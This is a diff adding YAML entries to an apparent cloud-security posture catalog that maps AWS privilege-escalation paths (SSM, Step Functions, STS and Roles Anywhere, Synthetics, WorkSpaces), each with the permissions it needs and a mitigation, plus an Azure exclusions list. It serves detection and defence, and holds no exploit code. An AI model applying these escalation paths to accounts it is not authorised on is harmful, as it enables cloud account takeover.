scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ssm:CreateActivation to node-onboarding administrators, scope iam:PassRole on hybrid service roles with iam:PassedToService=ssm.amazonaws.com, and alert on CreateActivation and RegisterManagedInstance from unexpected sources. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/hybrid-multicloud-service-role.html + - https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_CreateActivation.html + notes: The hybrid service role must trust ssm.amazonaws.com; the node needs no EC2 instance, VPC or ec2:RunInstances. + +- id: aws-ssm-jit-startaccessrequest-getaccesstoken + provider: aws + service: ssm + title: Obtain just-in-time node access credentials and open a session + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartaccessrequest--ssmgetaccesstoken--vend-jit-credentials-for-a-session-manager-shell + source_revision: 171e422299 + summary: The source can obtain the privileges of the instance-profile role of managed nodes for which its just-in-time access request is approved. + requires: + all_of: + - action: ssm:StartAccessRequest + resource: "{target.resource_arn}" + - action: ssm:GetAccessToken + resource: "*" + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: "Instance-profile roles of SSM-managed instances reachable by just-in-time access in {account}" + conditions: + - id: jit_enabled_and_approved + description: Just-in-time node access must be enabled in the account and Region, and an auto-approval policy or all manual approvers must approve the request; a deny-access policy wins. + - id: assumed_role_caller + description: The requester must use supported sts:AssumeRole credentials; IAM users are not supported. + - id: instance_managed + description: The instance must be online in SSM. + preconditions: + - ec2_instance_running + - ssm_managed_instance + - ssm_jit_approved_online_instance + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Keep JIT approval policies narrow (explicit requesters, tagged nodes, manual approval for sensitive nodes), scope ssm:StartAccessRequest by node, and set Session Manager maximum duration and idle timeouts. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-just-in-time-node-access.html + notes: StartAccessRequest is authorized on the EC2 instance ARN for an EC2 managed node, and JIT supports an assumed-role requester session rather than a plain IAM user. A concrete edge requires fresh reviewed evidence that the exact requesting role session obtained approval for that online node, received its access token, established a session, and performed a useful action using the instance role that the requester could not perform directly. Current StartAccessRequest and GetAccessToken permissions remain required. Missing, mismatched or expired approval evidence remains unresolved. + +- id: aws-ssm-maintenancewindow-automation-task-passrole + provider: aws + service: ssm + title: Register or update a maintenance-window Automation task with a passed service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmregistertaskwithmaintenancewindow-ssmregistertargetwithmaintenancewindow-ssmdescribemaintenancewindows--ec2describeinstances + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of a passable role trusting ssm.amazonaws.com by having a maintenance window run an Automation runbook it authored under that service role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ssm.amazonaws.com + - action: ssm:CreateDocument + resource: "*" + any_of: + - - action: ssm:RegisterTaskWithMaintenanceWindow + resource: "*" + - - action: ssm:UpdateMaintenanceWindowTask + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ssm.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ssm.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: window_schedule + description: An enabled maintenance window must exist and reach its next scheduled run; the effect is delayed until then. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: automation_task_type + description: Only Automation tasks execute steps under the passed service role; Run Command tasks use it only for notifications and run as the node's role. + preconditions: + - ssm_maintenance_window_automation_task_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict maintenance-window task registration and update to operations principals, scope iam:PassRole on SSM service roles with iam:PassedToService, and restrict ssm:CreateDocument. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/maintenance-windows-permissions.html + notes: The page states that with a passed service role the window task runs under that role. Same reach as aws-ssm-createdocument-startautomationexecution-passrole, delayed to the window schedule. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/sso.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/sso.yaml new file mode 100644 index 0000000000..f5725e98ee --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/sso.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS IAM Identity Center (SSO) and Identity Store privilege escalation techniques. +# Source: hacktricks-cloud aws-sso-and-identitystore-privesc/README.md. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/stepfunctions.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/stepfunctions.yaml new file mode 100644 index 0000000000..0f6a2bf0d5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/stepfunctions.yaml @@ -0,0 +1,137 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Step Functions privilege escalation techniques. +# Source: hacktricks-cloud aws-stepfunctions-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +- id: aws-stepfunctions-teststate-passrole + provider: aws + service: stepfunctions + title: Run a supported test state with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#statesteststate--iampassrole + source_revision: 171e422299 + summary: The source can run one supported, unmocked AWS SDK task using a passable Step Functions role and read the task result. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: states.amazonaws.com + - action: states:TestState + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: states.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting states.amazonaws.com passable in {account}" + outcome: impersonation + preconditions: + - stepfunctions_teststate_privileged_task_unverified + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: supported_unmocked_task + description: The requested action must be available as an unmocked TestState task and allowed by the passed role; a single test does not run an arbitrary multi-step workflow. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Step Functions roles with iam:PassedToService=states.amazonaws.com, and restrict states:TestState to developers on non-production roles. + references: + - https://docs.aws.amazon.com/step-functions/latest/dg/test-state-isolation.html + notes: TestState assumes the provided role for an unmocked task, and iam:PassRole is required. A concrete role edge requires fresh reviewed evidence of a successful unmocked TestState call, the exact role ID, action and resource, and a useful effect unavailable directly to the caller. Without that evidence the role edge stays unresolved. Map, Parallel, Activity, .sync, and waitForTaskToken patterns require mocks in TestState and do not exercise the role through this path. + +- id: aws-stepfunctions-createstatemachine-passrole-start + provider: aws + service: stepfunctions + title: Create a state machine with a passed role and execute it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#statescreatestatemachine--iampassrole--statesstartexecution--statesstartsyncexecution + source_revision: 171e422299 + summary: The source can run a new state machine that makes AWS service calls using a passable Step Functions role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: states.amazonaws.com + - action: states:CreateStateMachine + resource: "arn:{source.partition}:states:*:{source.account}:stateMachine:*" + bind: new_state_machine + any_of: + - - action: states:StartExecution + resource: "arn:{source.partition}:states:*:{source.account}:stateMachine:*" + bind: new_state_machine + - - action: states:StartSyncExecution + resource: "arn:{source.partition}:states:*:{source.account}:stateMachine:*" + bind: new_state_machine + target: + kind: aws_role + selector: + trust_allows_service: states.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting states.amazonaws.com passable in {account}" + outcome: impersonation + preconditions: + - sfn_role_sdk_effect_reviewed + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: same_new_state_machine + description: Creation and execution must both be allowed on the same new state machine ARN. + - id: sync_requires_express + description: StartSyncExecution only works for Express state machines (the source chooses the type, so this does not remove the edge). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Step Functions roles and state machine creation to the deployment pipeline. + references: + - https://docs.aws.amazon.com/step-functions/latest/apireference/API_CreateStateMachine.html + - https://docs.aws.amazon.com/step-functions/latest/dg/supported-services-awssdk.html + notes: CreateStateMachine and StartExecution or StartSyncExecution must cover one new name in the same Region, and PassRole must cover the exact execution role for states.amazonaws.com. A concrete role edge also needs a fresh reviewed execution on that role's current state-machine revision showing a supported SDK task succeeded on an exact resource that the source cannot access directly. Without that effect, the role gain remains unresolved. + +- id: aws-stepfunctions-updatestatemachine-passrole + provider: aws + service: stepfunctions + title: Modify an existing state machine and swap in a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#statesupdatestatemachine--not-always-required-iampassrole + source_revision: 171e422299 + summary: The source can update and run an existing state machine so it makes AWS service calls using a passable Step Functions role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: states.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: states.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting states.amazonaws.com passable in {account}" + outcome: impersonation + preconditions: + - sfn_existing_state_machine_update_and_start + - sfn_role_sdk_effect_reviewed + conditions: + - id: execution_after_update + description: The source must start the same state machine after attaching the passed role and updating its definition. + - id: existing_state_machine + description: A recorded active state machine must permit both UpdateStateMachine and StartExecution, or StartSyncExecution when it is Express. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Step Functions roles and states:UpdateStateMachine. + references: + - https://docs.aws.amazon.com/step-functions/latest/apireference/API_UpdateStateMachine.html + - https://docs.aws.amazon.com/step-functions/latest/dg/supported-services-awssdk.html + notes: UpdateStateMachine and StartExecution or StartSyncExecution must cover the same active state machine, and PassRole must cover the exact execution role for states.amazonaws.com. A concrete role edge also needs a fresh reviewed execution on that role's current state-machine revision showing a supported SDK task succeeded on an exact resource that the source cannot access directly. Without that effect, the role gain remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/sts.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/sts.yaml new file mode 100644 index 0000000000..3a67170d4e --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/sts.yaml @@ -0,0 +1,125 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS STS / IAM Roles Anywhere privilege escalation techniques. +# Source: hacktricks-cloud aws-sts-privesc/README.md. + +- id: aws-sts-assumerole-trusted + provider: aws + service: sts + title: Assume a role whose trust policy allows the source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumerole + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of a role whose trust policy allows it. A same-account trust + naming the source principal directly can suffice without an identity-policy AssumeRole grant; account-root + and cross-account trusts also need an identity-policy grant. + requires: + all_of: + - action: sts:AssumeRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + trust_allows_principal_of_source: true + scope: any + aggregate_as: Roles assumable by the source + conditions: + - id: trust_names_principal_directly + description: For a same-account trust that names the source principal ARN directly, the identity-policy sts:AssumeRole + grant is not required. Trusts naming only the account root require it; cross-account always requires it. + - id: trust_conditions + description: Trust conditions such as sts:ExternalId, aws:MultiFactorAuthPresent, sts:SourceIdentity, aws:PrincipalOrgID + or aws:SourceIp may block the assumption. + - id: source_controlled_session_attributes + description: Trust conditions on aws:PrincipalTag/*, aws:RequestTag/*, sts:SourceIdentity or sts:RoleSessionName + may be satisfiable through source-controlled identity tags, sts:TagSession, sts:SetSourceIdentity, transitive + tags from an earlier session, or attributes asserted by the trusted account. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Trust specific principal ARNs (not account roots or "*"), add aws:PrincipalOrgID / ExternalId / MFA + conditions, and limit sts:AssumeRole Resources. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic-cross-account.html + notes: Severity is critical only when an assumable role is admin-equivalent. Role chaining is handled by the evaluator + through repeated edges. + + +- id: aws-rolesanywhere-updatetrustanchor + provider: aws + service: rolesanywhere + title: Replace the CA of an IAM Roles Anywhere trust anchor + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#rolesanywhereupdatetrustanchor--replace-the-trusted-ca-and-mint-role-sessions + source_revision: 171e422299 + summary: The source can obtain the privileges of every role in an enabled Roles Anywhere profile that accepts certificates from a trust anchor whose CA the source can replace. + requires: + all_of: + - action: rolesanywhere:UpdateTrustAnchor + resource: "{target.trust_anchor_arn}" + target: + kind: aws_role + selector: + rolesanywhere_profile_includes_target: true + scope: same_account + aggregate_as: "Roles reachable through Roles Anywhere trust anchors covered by rolesanywhere:UpdateTrustAnchor in {account}" + preconditions: + - rolesanywhere_anchor_profile_trust_join + conditions: + - id: complete_rolesanywhere_role_trust + description: The role trust must allow Roles Anywhere to AssumeRole, TagSession, and SetSourceIdentity for the selected anchor. + - id: trust_conditions_on_cert_attributes + description: Role trust conditions on certificate attributes must be satisfiable by a certificate the source issues. The evaluator binds aws:SourceArn to the exact writable trust anchor and leaves other uncertain conditions unresolved. + - id: anchor_and_profile_enabled + description: The trust anchor and the profile must be enabled (enabling them needs rolesanywhere:EnableTrustAnchor / EnableProfile). + - id: replaceable_certificate_bundle + description: UpdateTrustAnchor can replace an external certificate bundle. An AWS Private CA trust anchor cannot have its CA replaced after creation. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict rolesanywhere:UpdateTrustAnchor/CreateTrustAnchor to administrators and pin aws:SourceArn of the trust anchor plus certificate-subject conditions in role trusts. + references: + - https://docs.aws.amazon.com/rolesanywhere/latest/userguide/trust-model.html + notes: "The evaluator joins a writable enabled certificate-bundle anchor to an enabled profile in the same account and Region and a role trust that admits that exact anchor. Profiles with session policies or managed policy restrictions remain unresolved because they do not grant the full target role." + +- id: aws-rolesanywhere-createtrustanchor-createprofile-passrole + provider: aws + service: rolesanywhere + title: Create an attacker-CA Roles Anywhere trust anchor and a profile listing a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iam-roles-anywhere-trust-anchor-backdoor-rolesanywherecreatetrustanchor--createprofile + source_revision: b587e6bd26 + summary: The source can obtain the privileges of passable roles trusting rolesanywhere.amazonaws.com by registering a trust anchor for a CA it controls and a profile that lists the role, then creating sessions with certificates it signs. + requires: + all_of: + - action: rolesanywhere:CreateTrustAnchor + resource: "*" + - action: rolesanywhere:CreateProfile + resource: "*" + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Passable roles trusting IAM Roles Anywhere in {account}" + outcome: credentials + preconditions: + - rolesanywhere_new_anchor_profile_role_ready + conditions: + - id: trust_conditions_satisfiable + description: Role trust must allow AssumeRole, TagSession, and SetSourceIdentity for a newly generated anchor. An exact existing aws:SourceArn does not accept a new anchor; a broad ArnLike trust-anchor wildcard can. + - id: anchor_and_profile_enabled + description: The trust anchor and profile must be enabled at creation or later (rolesanywhere:EnableTrustAnchor / EnableProfile). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict rolesanywhere:CreateTrustAnchor and CreateProfile to administrators, constrain iam:PassRole for rolesanywhere.amazonaws.com, and pin aws:SourceArn of approved trust anchors in role trust policies. + references: + - https://docs.aws.amazon.com/rolesanywhere/latest/userguide/trust-model.html + notes: The source can create a profile without session-policy restrictions and set it and the new certificate-bundle anchor enabled. The evaluator checks both create actions in one Region, the passable role, collected capacity, and role trust for a newly generated anchor. Unresolved trust conditions remain unknown. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/supplychain.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/supplychain.yaml new file mode 100644 index 0000000000..a5e2ee8113 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/supplychain.yaml @@ -0,0 +1,9 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Supply Chain application-plane privilege escalation techniques (aws_service_plane_admin targets). +# Source: hacktricks-cloud aws-supply-chain-privesc/README.md (rev 171e422299). +# Supply Chain instances are not collected: every edge is one unresolved placeholder per account. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/synthetics.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/synthetics.yaml new file mode 100644 index 0000000000..6918263a75 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/synthetics.yaml @@ -0,0 +1,46 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon CloudWatch Synthetics privilege escalation techniques. +# Source: hacktricks-cloud aws-synthetics-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +- id: aws-synthetics-startcanarydryrun-replacement-code + provider: aws + service: synthetics + title: Run replacement canary code under its existing execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-synthetics-privesc/README.md#dry-run-replacement-code--passrole + source_revision: 171e422299 + summary: The source can supply inline code for an existing canary's dry run, which executes using that canary's recorded role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: synthetics.amazonaws.com + target: + kind: aws_role + selector: + attached_to_service: synthetics + via_resource_type: synthetics_canary + scope: same_account + aggregate_as: Roles of canaries whose dry-run code the source can replace in {account} + outcome: workload_execution + preconditions: + - synthetics_existing_canary_dry_run_code + conditions: + - id: successful_dry_run + description: The replacement script must be valid and the dry run must execute successfully. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict StartCanaryDryRun on privileged canaries and PassRole on their execution roles to trusted operators. + references: + - https://docs.aws.amazon.com/AmazonSynthetics/latest/APIReference/API_StartCanaryDryRun.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_synthetics.html + - https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/performing-safe-canary-upgrades.html + notes: StartCanaryDryRun accepts an inline ZipFile, so this route does not require a writable external code object. The evaluator checks the same recorded canary ARN and execution role, a supported runtime and the two effective grants. The dry run itself and successful code execution remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/transfer.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/transfer.yaml new file mode 100644 index 0000000000..7819ec6d14 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/transfer.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Transfer Family privilege escalation techniques. +# Source: hacktricks-cloud aws-transfer-family-privesc/README.md (rev a53b46392c). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/workspaces.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/workspaces.yaml new file mode 100644 index 0000000000..b7d33e95e6 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/workspaces.yaml @@ -0,0 +1,50 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon WorkSpaces (WorkSpaces Instances) privilege escalation techniques. +# Source: hacktricks-cloud aws-workspaces-privesc/README.md (rev 171e422299). + +- id: aws-workspaces-instances-passrole-createworkspaceinstance + provider: aws + service: workspaces-instances + title: Create a WorkSpaces instance with a passed instance profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workspaces-privesc/README.md#workspaces-instancescreateworkspaceinstance-iampassrole-ec2runinstances + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable instance-profile role trusting ec2.amazonaws.com by launching a WorkSpaces instance whose user data it controls. + requires: + all_of: + - action: workspaces-instances:CreateWorkspaceInstance + resource: "*" + - action: iam:PassRole + resource: "{target.arn}" + - action: ec2:RunInstances + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Instance-profile roles passable in {account}" + outcome: workload_execution + preconditions: + - workspaces_instances_bound_launch_role_effect + conditions: + - id: forward_access_session + description: ec2:RunInstances is evaluated through a forward access session; aws:CalledVia conditions must admit workspaces-instances.amazonaws.com. + - id: service_linked_role + description: The AWSServiceRoleForWorkSpacesInstances service-linked role must exist (or the source needs iam:CreateServiceLinkedRole). + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on instance-profile roles and treat workspaces-instances:CreateWorkspaceInstance like ec2:RunInstances. + references: + - https://docs.aws.amazon.com/workspaces/latest/adminguide/workspaces-instances.html + notes: ManagedInstanceRequest accepts an instance profile and user data. A concrete edge requires fresh reviewed evidence that a supported configuration launched, the exact profile was attached, controlled user data executed, and a useful action succeeded under that role but not for the caller. Current RunInstances grants must cover the exact AMI, network and instance resources with aws:CalledVia=workspaces-instances.amazonaws.com; PassRole must allow ec2.amazonaws.com and the service-linked role must be ready. Missing or conflicting execution evidence remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_compute.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_compute.yaml new file mode 100644 index 0000000000..ea11df1914 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_compute.yaml @@ -0,0 +1,324 @@ +# Compute group (G2) exclusions for HackTricks Cloud rev 171e422 non-privesc pages. +# Each section was reviewed; none yields another principal's privileges beyond the catalog entries noted. + +- source: src/pentesting-cloud/azure-security/az-persistence/az-chaos-studio-persistence.md#pre-stage-a-kill-switch + technique: Pre-stage a kill switch + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md#backdoor-cloud-shell-startup-files + technique: Backdoor Cloud Shell startup files + reason: Backdoors the caller's own Cloud Shell home; another user's home is azure-cloudshell-home-image-backdoor. +- source: src/pentesting-cloud/azure-security/az-persistence/az-container-apps-persistence.md#microsoftappcontainerappsauthconfigswrite--easy-auth-bypass-or-identity-provider-replacement + technique: '`Microsoft.App/containerApps/authConfigs/write` — Easy Auth bypass or identity provider replacement' + reason: Easy Auth bypass / IdP repoint gives application-level access only; no Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-container-registry-persistence.md#microsoftcontainerregistryregistrieslistcredentialsaction-microsoftcontainerregistryregistrieswrite + technique: '`Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`' + reason: Registry admin credential persistence; registry push/pull only (consumer pivot is azure-acr-push-restart-aci-consumer). +- source: src/pentesting-cloud/azure-security/az-persistence/az-container-registry-persistence.md#create-a-service-principal-with-acrpull + technique: Create a service principal with AcrPull + reason: Creates an attacker-owned principal with AcrPull; persistence of registry read access, requires app/role-assignment write modelled elsewhere. +- source: src/pentesting-cloud/azure-security/az-persistence/az-devtest-labs-persistence.md#poison-formulas--custom-images-provisioning-time-persistence + technique: Poison formulas / custom images (provisioning-time persistence) + reason: Provisioning-time supply chain for future lab VMs created by others; consumer-dependent, not RBAC-derivable. +- source: src/pentesting-cloud/azure-security/az-persistence/az-devtest-labs-persistence.md#seed-attacker-known-credentials-via-labuser-secrets + technique: Seed attacker-known credentials via lab/user secrets + reason: Seeds lab/user secrets for later use; persistence of access already held. +- source: src/pentesting-cloud/azure-security/az-persistence/az-firewall-persistence.md#pin-configuration-with-azure-policy--firewall-manager + technique: Pin configuration with Azure Policy / Firewall Manager + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-firewall-persistence.md#keep-diagnostic-settings-removed-or-narrowed + technique: Keep diagnostic settings removed or narrowed + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-firewall-persistence.md#durable-allownat-rule-in-an-inherited-policy + technique: Durable allow/NAT rule in an inherited policy + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#cluster-extension-install--privileged-in-cluster-components-extensionswrite + technique: Cluster extension install — privileged in-cluster components (`extensions/write`) + reason: Extension identity/permissions are extension-defined; page documents no deterministic principal gain beyond Flux (azure-aks-flux-configuration-write). +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#reset-aad--service-principal-profile-resetaadprofile--resetserviceprincipalprofile + technique: Reset AAD / service-principal profile (`resetAADProfile` / `resetServicePrincipalProfile`) + reason: Replaces the cluster's own SP/AAD profile with attacker values; persistence/DoS, no new principal for the source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#related-workload-identity-federated-credential + technique: 'Related: workload-identity federated credential' + reason: Federated identity credential write is modelled generically by the managed-identity FIC entries (other group). +- source: src/pentesting-cloud/azure-security/az-persistence/az-virtual-desktop-persistence.md#fslogix-profile-and-session-host-implants + technique: FSLogix profile and session-host implants + reason: Implants in profile containers/session hosts already controlled; users' later sessions are content/behaviour-dependent and not RBAC-derivable. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md#attach-a-public-ip--lb-nat-rule-to-a-private-vm-durable-reachability + technique: Attach a Public IP / LB NAT rule to a private VM (durable reachability) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vmware-solution-avs-persistence.md#network-path-persistence-authorizationswrite-addonswrite + technique: Network-path persistence (`authorizations/write`, `addOns/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-waf-persistence.md#policy-shared-across-many-endpoints + technique: Policy shared across many endpoints + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-waf-persistence.md#standing-custom-allow-rule--exclusion + technique: Standing custom allow rule / exclusion + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-waf-persistence.md#pin-it-with-azure-policy + technique: Pin it with Azure Policy + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-waf-persistence.md#keep-diagnostic-settings-removed-or-narrowed + technique: Keep diagnostic settings removed or narrowed + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicegatewaysgetconfigurationaction--bulk-policysecret-pull-data-action-bypasses-the-administrative-log + technique: '`Microsoft.ApiManagement/service/gateways/getConfiguration/action` — bulk policy/secret pull (data action, bypasses the Administrative log)' + reason: Self-hosted gateway configuration/secrets of unknown content; no Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicegatewayslistkeysaction--raw-self-hosted-gateway-keys-offline-token-minting + technique: '`Microsoft.ApiManagement/service/gateways/listKeys/action` — raw self-hosted-gateway keys (offline token minting)' + reason: 'NEEDS SCHEMA: the returned key may authenticate a self-hosted APIM gateway identity, but exact gateway subject, usable credential, new operation, and prior-absence proof are not verified.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementserviceapispolicieswrite-or-microsoftapimanagementservicepolicieswrite + technique: '`Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`' + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicebackendswrite-or-microsoftapimanagementservicebackendsdelete + technique: '`Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`' + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementserviceapisdelete + technique: '`Microsoft.ApiManagement/service/apis/delete`' + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. 